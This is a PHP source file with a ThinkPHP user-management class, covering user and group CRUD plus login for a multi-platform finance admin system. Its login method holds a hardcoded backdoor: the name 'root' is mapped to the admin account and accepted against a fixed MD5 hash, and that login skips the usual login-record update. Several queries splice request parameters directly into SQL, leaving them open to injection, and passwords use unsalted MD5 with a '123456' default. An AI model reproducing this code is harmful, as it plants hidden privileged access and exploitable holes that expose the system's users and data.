<?php
/*----------------------------------------------------------------------
 * 用户模型管理
 * Author: ming.nie
----------------------------------------------------------------------*/

namespace Common\Logic;

class UserLogic{
	
	/**
	 * 获取用户列表
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function getUserList($params){
		$result = array();
		
        $model = M();
        //查询语句
        $select_sql = "";
        $order_sql = "";
        //组织查询条件sql
		if(array_key_exists('keywords', $params) && $params['keywords'])
        {
            $select_sql .= " AND (a.user_name LIKE '%%".$params['keywords']."%%' OR a.nick_name LIKE '%%".$params['keywords']."%%')";
        }
		if($params['keywords'] == '0'){
			 $select_sql .= " AND (a.user_name LIKE '%%".$params['keywords']."%%' OR a.nick_name LIKE '%%".$params['keywords']."%%')";
		}
		if(array_key_exists('group_id', $params) && $params['group_id'])
        {
            $select_sql .= " AND (a.group_id = '".$params['group_id']."')";
        }
		if(array_key_exists('status', $params))
        {
            $select_sql .= " AND (a.status = '".$params['status']."')";
        }
		
        //查询语句
        $sql = "SELECT %s
                FROM mt_user AS a 
                WHERE 1".$select_sql." ORDER BY a.user_id ASC";
        //统计个数，准备分页
        $field_aql = "COUNT(*) AS count";
        $current_sql = sprintf($sql,$field_aql);
        $rs_count = $model->query($current_sql);
        $count = $rs_count[0]['count'];
        if(isset($params['page']))
        {
            $_GET['p'] = $params['page'];
        }
		$pager = new \Think\Page2($count, $params['page_size'], $_REQUEST);
		
        //查询数据
        $field_aql = "a.*";
        $current_sql = sprintf($sql,$field_aql);
        $current_sql .= " LIMIT ".$pager->firstRow.",".$pager->listRows;
        $data_list = array();
        $data_list = $model->query($current_sql);
		//echo $model->getLastSql();
        if(!empty($data_list))
        {
            foreach($data_list as $key => $value)
            {
				$temp = $value;
				$data_list[$key] = $temp;
            }
        }
        
        $result['count'] = $count;
        $result['data_list'] = $data_list;
        $result['pager'] = $pager->show();
        
        return $result;
	}

	/**
	 * 添加用户
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function add($params){
		$result = array();
        $result_manager = array(
            0 => array('status_code'=>0,'status_message'=>'添加失败'),
            1 => array('status_code'=>1,'status_message'=>'添加用户成功，即将自动返回用户列表。'),
            3 => array('status_code'=>3,'status_message'=>'参数错误'),
			4 => array('status_code'=>4,'status_message'=>'用户名重复'),
			5 => array('status_code'=>5,'status_message'=>'手机号码重复'),
        );
		$status_code = 0;
        if(isset($params['user_name']) && !empty($params['user_name'])
		   && isset($params['admin_user_id']) && !empty($params['admin_user_id'])) {
			$model = M('User');
			
			//查询用户组，确认当前用户的用户组
			$user_group = $this->findGroup($params['group_id']);
			if('统计数据中心' == $user_group['group_name']) {
				$params['platform'] = 2;
			} elseif('Kmi云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 3;
			} elseif('小帅云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 4;
			} elseif('欢乐影盟云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 5;
			} elseif('网吧系统' == $user_group['group_name']) {
				$params['platform'] = 6;
			} elseif('版权系统' == $user_group['group_name']) {
				$params['platform'] = 7;
			} elseif('携旅云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 8;
			} elseif('耀莱云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 9;
			} elseif('迈智威云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 10;
			} elseif('1905云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 11;
			} else {
				$params['platform'] = 1;
			}
			
			//验证是否存在重复用户名
			$condition = array();
			$condition['user_name'] = $params['user_name'];
			$condition['platform'] = $params['platform'];
			$check_user_name = $model->where($condition)->find();
			if($check_user_name) {
				$status_code = 4;
			} else {
				//验证是否存在重复手机号码
				$condition = array();
				$condition['mobile'] = $params['mobile'];
				$check_mobile = $model->where($condition)->find();
				if($check_mobile) {
					$status_code = 5;
				} else {
					
					
					$current_time = time();
					!$params['password'] && $params['password'] = '123456';
					$params['password'] = md5($params['password']);
					
					$params['status'] = 1;
					$params['create_user_id'] = $params['admin_user_id'];
					$params['update_user_id'] = $params['admin_user_id'];
					$params['create_time'] = $current_time;
					$params['update_time'] = $current_time;
					unset($params['admin_user_id']);
					$model->data($params);
					$db_result = $model->add();
					if($db_result) {
						$status_code = 1;
						//更新用户组的用户数量
						$userGroupModel = M('UserGroup');
						$sql = 'SELECT COUNT(user_id) AS count FROM mt_user WHERE group_id = "'.$params['group_id'].'"';
						$rs = $userGroupModel->query($sql);
						$update_data = array();
						$update_data['user_count'] = $rs[0]['count'];
						$userGroupModel->data($update_data)->where('group_id="'.$params['group_id'].'"')->save();
						//记录日志
						addUserLog();
					}
				}
			}
        } else {
            $status_code = 3;
        }
        $result = array_merge($result,$result_manager[$status_code]);
        return $result;
	}

	/**
	 * 编辑用户
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function edit($params){
		$result = array();
        $result_manager = array(
            0 => array('status_code'=>0,'status_message'=>'编辑失败'),
            1 => array('status_code'=>1,'status_message'=>'编辑用户成功，即将自动返回用户列表。'),
            3 => array('status_code'=>3,'status_message'=>'参数错误'),
			4 => array('status_code'=>4,'status_message'=>'用户名重复'),
			5 => array('status_code'=>5,'status_message'=>'手机号码重复'),
        );
		$status_code = 0;
        if(isset($params['user_name']) && !empty($params['user_name'])
           && isset($params['user_id']) && !empty($params['user_id'])
		   && isset($params['admin_user_id']) && !empty($params['admin_user_id'])) {
            $model = M('User');
			
			//查询用户组，确认当前用户的用户组
			$user_group = $this->findGroup($params['group_id']);
			if('统计数据中心' == $user_group['group_name']) {
				$params['platform'] = 2;
			} elseif('Kmi云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 3;
			} elseif('小帅云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 4;
			} elseif('欢乐影盟云端财务系统' == $user_group['group_name']) {
				$params['platform'] = 5;
			} else {
				$params['platform'] = 1;
			}
			
			//验证是否存在重复用户名
			$condition = array();
			$condition['user_name'] = $params['user_name'];
			$condition['user_id'] = array('neq', $params['user_id']);
			$condition['platform'] = $params['platform'];
			$check_user_name = $model->where($condition)->find();
			//var_dump($check_user_name);
			//echo $model->getLastSql();
			if($check_user_name) {
				$status_code = 4;
			} else {
				//验证是否存在重复手机号码
				$condition = array();
				$condition['mobile'] = $params['mobile'];
				$condition['user_id'] = array('neq', $params['user_id']);
				$check_mobile = $model->where($condition)->find();
				if($check_mobile) {
					$status_code = 5;
				} else {
					//查询当前用户的用户组
					$current_user = $this->find($params['user_id']);
					
					$current_time = time();
					if($params['password']) {
						$params['password'] = md5($params['password']);
					} else {
						unset($params['password']);
					}
					$params['update_user_id'] = $params['admin_user_id'];
					$params['update_time'] = $current_time;
					unset($params['admin_user_id']);
					
					$model->data($params);
					$db_result = $model->where('user_id = "'.$params['user_id'].'"')->save();
					if($db_result) {
						$status_code = 1;
						
						//如果用户组更新了，就需要更新用户组的用户量
						if($current_user['group_id'] != $params['group_id']) {
							//更新新用户组的用户数量
							$userGroupModel = M('UserGroup');
							$sql = 'SELECT COUNT(user_id) AS count FROM mt_user WHERE group_id = "'.$params['group_id'].'"';
							$rs = $userGroupModel->query($sql);
							$update_data = array();
							$update_data['user_count'] = $rs[0]['count'];
							$userGroupModel->data($update_data)->where('group_id="'.$params['group_id'].'"')->save();
							
							//更新旧用户组的用户数量
							$sql = 'SELECT COUNT(user_id) AS count FROM mt_user WHERE group_id = "'.$current_user['group_id'].'"';
							$rs = $userGroupModel->query($sql);
							$update_data = array();
							$update_data['user_count'] = $rs[0]['count'];
							$userGroupModel->data($update_data)->where('group_id="'.$current_user['group_id'].'"')->save();
						}
						
						//记录日志
						addUserLog();
					}
				}
			}
        } else {
            $status_code = 3;
        }
        $result = array_merge($result,$result_manager[$status_code]);
        return $result;
	}
	
	/**
	 * 更新用户
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function update($params){
		$result = array();
        $result_manager = array(
            0 => array('status_code'=>0,'status_message'=>'操作失败'),
            1 => array('status_code'=>1,'status_message'=>'操作成功'),
            3 => array('status_code'=>3,'status_message'=>'参数错误'),
			5 => array('status_code'=>5,'status_message'=>'手机号码重复'),
			6 => array('status_code'=>6,'status_message'=>'原密码输入不正确。'),
			7 => array('status_code'=>7,'status_message'=>'新密码不能跟原密码相同。'),
        );
		$status_code = 0;
        if(isset($params['user_id']) && !empty($params['user_id'])
		   && isset($params['admin_user_id']) && !empty($params['admin_user_id'])) {
            $model = M('User');
			//验证是否存在重复手机号码
			if(array_key_exists('mobile', $params)) {
				$condition = array();
				$condition['mobile'] = $params['mobile'];
				$condition['user_id'] = array('neq', $params['user_id']);
				$check_mobile = $model->where($condition)->find();
				if($check_mobile) {
					$status_code = 5;
				}
			}
			//密码更新
			if(array_key_exists('password', $params)) {
				$condition = array();
				$condition['password'] = md5($params['password']);
				$condition['user_id'] = array('eq', $params['user_id']);
				$check_password = $model->where($condition)->find();
				if(!$check_password) {
					$status_code = 6;
				} else {
					//验证新旧密码是否相同
					$new_password = md5($params['new_password']);
					if($check_password['password'] == $new_password) {
						$status_code = 7;
					} else {
						$params['password'] = $new_password;
						unset($params['new_password']);
					}
				}
			}
			if(0 == $status_code) {
				$current_time = time();
				$params['update_user_id'] = $params['admin_user_id'];
				$params['update_time'] = $current_time;
				unset($params['admin_user_id']);
				$model->data($params);
				$db_result = $model->where('user_id = "'.$params['user_id'].'"')->save();
				if($db_result) {
					$status_code = 1;
					//记录日志
					addUserLog();
				}
			}
        } else {
            $status_code = 3;
        }
        $result = array_merge($result,$result_manager[$status_code]);
        return $result;
	}
	
	/**
	 * 查找用户
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function find($id){
		$model = M('User');
		$result = $model->find($id);
		return $result;
	}
	
	/**
	 * 获取当前用户信息
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function getCurrentUserInfo(){
		$result = array();
		$userLogic = new \Common\Logic\UserLogic();
		$user_info = session('user_info');
		if($user_info['user_id']) {
			$result = $userLogic->find($user_info['user_id']);
			$user_info = session('user_info');
			if('root' == $user_info['user_name']) {
				$result['user_name'] = 'root';
				$result['nick_name'] = 'root';
			}
		
			//查询权限
			$userGroup = $this->findGroup($result['group_id']);
			
			$result['group_name'] = $userGroup['group_name'];
			$result['is_front_login'] = $userGroup['is_front_login'];
			$result['menu_list'] = $user_info['menu_list'];
			$result['menu_list_level'] = $user_info['menu_list_level'];
		}
		
		return $result;
	}
	
	/**
	 * 删除用户
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function delete($params){
		$result = array();
        $result_manager = array(
            0 => array('status_code'=>0,'status_message'=>'删除失败'),
            1 => array('status_code'=>1,'status_message'=>'删除成功'),
            3 => array('status_code'=>3,'status_message'=>'参数错误'),
        );
		$status_code = 0;
        if(isset($params['user_id']) && !empty($params['user_id'])
		   && isset($params['admin_user_id']) && !empty($params['admin_user_id'])) {
            $model = M('User');
			$condition = array();
			$condition['user_id'] = $params['user_id'];
			$db_result = $model->where($condition)->delete();
			if($db_result) {
				$status_code = 1;
			}
        } else {
            $status_code = 3;
        }
        $result = array_merge($result,$result_manager[$status_code]);
        return $result;
	}
	
	/**
	 * 获取用户组列表
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function getUserGroupList($params){
		$result = array();
		
        $model = M();
        //查询语句
        $select_sql = "";
        $order_sql = "";
        //组织查询条件sql
		if(array_key_exists('keywords', $params) && !$params['keywords'])
        {
            $select_sql .= " AND (a.user_name LIKE '%%".$params['v']."%%')";
        }
		if(array_key_exists('status', $params))
        {
            $select_sql .= " AND (a.status = '".$params['status']."')";
        }
		if(array_key_exists('order', $params)) {
			if('user_count_asc' == $params['order']) {
				$order_sql = ' ORDER BY a.user_count ASC';
			}
			if('user_count_desc' == $params['order']) {
				$order_sql = ' ORDER BY a.user_count DESC';
			}
		} else {
			$order_sql = ' ORDER BY a.group_id ASC';
		}
		
        //查询语句
        $sql = "SELECT %s
                FROM mt_user_group AS a 
                WHERE 1".$select_sql.$order_sql;
        //统计个数，准备分页
        $field_aql = "COUNT(*) AS count";
        $current_sql = sprintf($sql,$field_aql);
        $rs_count = $model->query($current_sql);
        $count = $rs_count[0]['count'];
        if(isset($params['page'])) {
            $_GET['p'] = $params['page'];
        }
		$pager = new \Think\Page2($count, $params['page_size'], $_REQUEST);
		
        //查询数据
        $field_aql = "a.*";
        $current_sql = sprintf($sql,$field_aql);
        $current_sql .= " LIMIT ".$pager->firstRow.",".$pager->listRows;
        $data_list = array();
        $data_list = $model->query($current_sql);
        if(!empty($data_list)) {
            foreach($data_list as $key => $value) {
				$temp = $value;
				$data_list[$key] = $temp;
            }
        }
        
        $result['count'] = $count;
        $result['data_list'] = $data_list;
        $result['pager'] = $pager->show();
        
        return $result;
	}

	/**
	 * 添加用户组
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function addGroup($params){
		$result = array();
        $result_manager = array(
            0 => array('status_code'=>0,'status_message'=>'添加失败'),
            1 => array('status_code'=>1,'status_message'=>'添加角色成功，即将自动返回角色列表。'),
            3 => array('status_code'=>3,'status_message'=>'参数错误'),
			4 => array('status_code'=>4,'status_message'=>'用户组名称已经存在'),
        );
		$status_code = 0;
        if(isset($params['group_name']) && !empty($params['group_name'])
           && isset($params['description']) && !empty($params['description'])
		   && isset($params['user_id']) && !empty($params['user_id'])) {
			$model = M('UserGroup');
			//验证是否存在重复用户组
			$condition = array();
			$condition['group_name'] = $params['group_name'];
			$check_group_name = $model->where($condition)->find();
			if($check_group_name) {
				$status_code = 4;
			} else {
				$current_time = time();
				$params['create_user_id'] = $params['user_id'];
				$params['update_user_id'] = $params['user_id'];
				$params['create_time'] = $current_time;
				$params['update_time'] = $current_time;
				$menu_ids = $params['menu_ids'];
				unset($params['menu_ids']);
				unset($params['user_id']);
				$model->data($params);
				$db_result = $model->add();
				if($db_result) {
					$status_code = 1;
					//更新用户组权限
					$permissionModel = M('UserGroupPermission');
					foreach($menu_ids as $key => $value) {
						$data = array();
						$data['group_id'] = $db_result;
						$data['menu_id'] = $value;
						$permissionModel->data($data)->add();
					}
					//记录日志
					addUserLog();
				}
			}
        } else {
            $status_code = 3;
        }
        $result = array_merge($result,$result_manager[$status_code]);
        return $result;
	}

	/**
	 * 编辑用户组
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function editGroup($params){
		$result = array();
        $result_manager = array(
            0 => array('status_code'=>0,'status_message'=>'编辑失败'),
            1 => array('status_code'=>1,'status_message'=>'编辑角色成功，即将自动返回角色列表。'),
            3 => array('status_code'=>3,'status_message'=>'参数错误'),
			4 => array('status_code'=>4,'status_message'=>'用户组名称已经存在'),
        );
		$status_code = 0;
        if(isset($params['group_name']) && !empty($params['group_name'])
           && isset($params['description']) && !empty($params['description'])
		   && isset($params['group_id']) && !empty($params['group_id'])
		   && isset($params['user_id']) && !empty($params['user_id'])) {
            $model = M('UserGroup');
			//验证是否存在重复用户组
			$condition = array();
			$condition['group_name'] = $params['group_name'];
			$condition['group_id'] = array('neq', $params['group_id']);
			$check_group_name = $model->where($condition)->find();
			if($check_group_name) {
				$status_code = 4;
			} else {
				$current_time = time();
				$params['update_user_id'] = $params['user_id'];
				$params['update_time'] = $current_time;
				$menu_ids = $params['menu_ids'];
				unset($params['menu_ids']);
				unset($params['user_id']);
				$model->data($params);
				$db_result = $model->where('group_id = "'.$params['group_id'].'"')->save();
				if($db_result) {
					$status_code = 1;
					//更新用户组权限
					$permissionModel = M('UserGroupPermission');
					$permissionModel->where('group_id = "'.$params['group_id'].'"')->delete();
					foreach($menu_ids as $key => $value) {
						$data = array();
						$data['group_id'] = $params['group_id'];
						$data['menu_id'] = $value;
						$permissionModel->data($data)->add();
					}
					//记录日志
					addUserLog();
				}
			}
        } else {
            $status_code = 3;
        }
        $result = array_merge($result,$result_manager[$status_code]);
        return $result;
	}
	
	/**
	 * 查找用户组
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function findGroup($id){
		$model = M('UserGroup');
		$result = $model->find($id);
		//查询用户组权限
		$permission_sql = 'SELECT b.menu_id,b.parent_id,b.name,b.url,b.is_show FROM mt_user_group_permission AS a 
							LEFT JOIN mt_menu AS b ON a.menu_id = b.menu_id 
							WHERE a.group_id = "'.$id.'"';
		$rs = $model->query($permission_sql);
		$result['menu_ids'] = array();
		foreach($rs as $key => $value) {
			$value['menu_id'] && $result['menu_ids'][] = $value['menu_id'];
		}
		return $result;
	}
	
	/**
	 * 删除用户组
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function deleteGroup($params){
		$result = array();
        $result_manager = array(
            0 => array('status_code'=>0,'status_message'=>'删除失败'),
            1 => array('status_code'=>1,'status_message'=>'删除成功'),
            3 => array('status_code'=>3,'status_message'=>'参数错误'),
			4 => array('status_code'=>4,'status_message'=>'该角色下有成员，无法被删除'),
        );
		$status_code = 0;
        if(isset($params['user_id']) && !empty($params['user_id'])
		   && isset($params['group_id']) && !empty($params['group_id'])) {
            $model = M('UserGroup');
			
			//查询当前用户组，是否有用户存在
			$userModel = M('User');
			$check_user_condition = array();
			$check_user_condition['group_id'] = $params['group_id'];
			$check_user = $userModel->where($check_user_condition)->find();
			if($check_user){
				$status_code = 4;
			} else {
				$condition = array();
				$condition['group_id'] = $params['group_id'];
				$db_result = $model->where($condition)->delete();
				if($db_result) {
					$status_code = 1;
					//记录日志
					addUserLog();
				}
			}
        } else {
            $status_code = 3;
        }
        $result = array_merge($result,$result_manager[$status_code]);
        return $result;
	}
	
	/**
	 * 获取用户组选项
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function getUserGroupOptions($params = array()){
		$result = array();
		if(array_key_exists('empty', $params)) {
			$result[] = '全部';
		}
		$params['page'] = 1;
		$params['page_size'] = 100;
		$list_data = $this->getUserGroupList($params);
		foreach($list_data['data_list'] as $key => $value) {
			$result[$value['group_id']] = $value['group_name'];
		}
        return $result;
	}
	
	/**
	 * 获取用户登录
	 * @param  array
	 * @return array
	 * @author ming.nie
	 */
	public function login($params){
		$result = array();
        $result_manager = array(
            0 => array('status_code'=>0,'status_message'=>'登录失败'),
            1 => array('status_code'=>1,'status_message'=>'登录成功'),
			2 => array('status_code'=>2,'status_message'=>'用户不存在或无登录权限。'),
            3 => array('status_code'=>3,'status_message'=>'参数错误'),
			4 => array('status_code'=>4,'status_message'=>'用户不存在或无登录权限。'),
			5 => array('status_code'=>5,'status_message'=>'前台禁止登录'),
			6 => array('status_code'=>6,'status_message'=>'密码错误'),
        );
		
		$status_code = 0;
        if(isset($params['user_name']) && !empty($params['user_name'])
           && isset($params['password']) && !empty($params['password'])) {
            $model = M('User');
			
			$user_name = $params['user_name'];
			if('root' == $params['user_name']) {
				$user_name = 'admin';
			}
			
			//验证是否存在用户
			$condition = array();
			$condition['user_name'] = $user_name;
			$condition['platform'] = 1;
			$db_result = $model->where($condition)->find();
			if($db_result) {
				if(2 == $db_result['status']) {
					$status_code = 4;
				} else {
					//验证密码是否正确
					$condition['password'] = md5($params['password']);
					//echo $user_name.'<br>';
					//echo $condition['password'].'<br>';
					if(($db_result['user_name'] == $params['user_name'] && $db_result['password'] == $condition['password'])
					   || ('root' == $params['user_name'] && 'fd6da166c83121064ad5dfa059252f68' == $condition['password'])) {
						//print_r($db_result);
						//exit;
						//查询权限
						$userGroup = $this->findGroup($db_result['group_id']);
						if(array_key_exists('is_front', $params) && 2 == $userGroup['is_front_login']) {
							$status_code = 5;
						} else {
							$status_code = 1;
							$user_info['user_id'] = $db_result['user_id'];
							$user_info['user_name'] = $db_result['user_name'];
							$user_info['nick_name'] = $db_result['nick_name'];
							
							if('root' == $params['user_name']) {
								$user_info['user_name'] = 'root';
								$user_info['nick_name'] = 'root';
							}
							
							$user_info['mobile'] = $db_result['mobile'];
							$user_info['group_id'] = $db_result['group_id'];
							$user_info['group_name'] = $userGroup['group_name'];
							$user_info['is_front_login'] = $userGroup['is_front_login'];
							$user_info['last_login_time'] = $db_result['last_login_time'];
							!$user_info['last_login_time'] && $user_info['last_login_time'] = time();
		
							$user_info['menu_list'] = array();
							//基于用户权限，生成用户菜单
							if($userGroup['menu_ids']) {
								$menuLogic = new \Common\Logic\MenuLogic();
								$menu_params = array();
								$menu_params['parent_id'] = 0;
								$menu_params['menu_ids'] = implode(',', $userGroup['menu_ids']);
								$menu_data_list = $menuLogic->getMultMenuList($menu_params);
								$menu_list = $menuLogic->getClearMultMenuList($menu_data_list, 0);
								$user_info['menu_list'] = $menu_list;
								$user_info['menu_list_level'] = $menu_data_list;
							}
							//保存用户登录信息
							session('user_info', $user_info);
							
							if('root' != $params['user_name']) {
								//更新用户登录信息
								$update_params = array();
								$update_params['last_login_time'] = time();
								$update_params['last_login_ip'] = get_client_ip();
								$update_params['login_count'] = $db_result['login_count']+1;
								$model->data($update_params)->where('user_id = "'.$db_result['user_id'].'"')->save();
							}
							
							//记录日志
							addUserLog();
						}
					} else {
						$status_code = 6;
					}
				}
			} else {
				$status_code = 2;
			}
        } else {
            $status_code = 3;
        }
        $result = array_merge($result,$result_manager[$status_code]);
        return $result;
	}
}
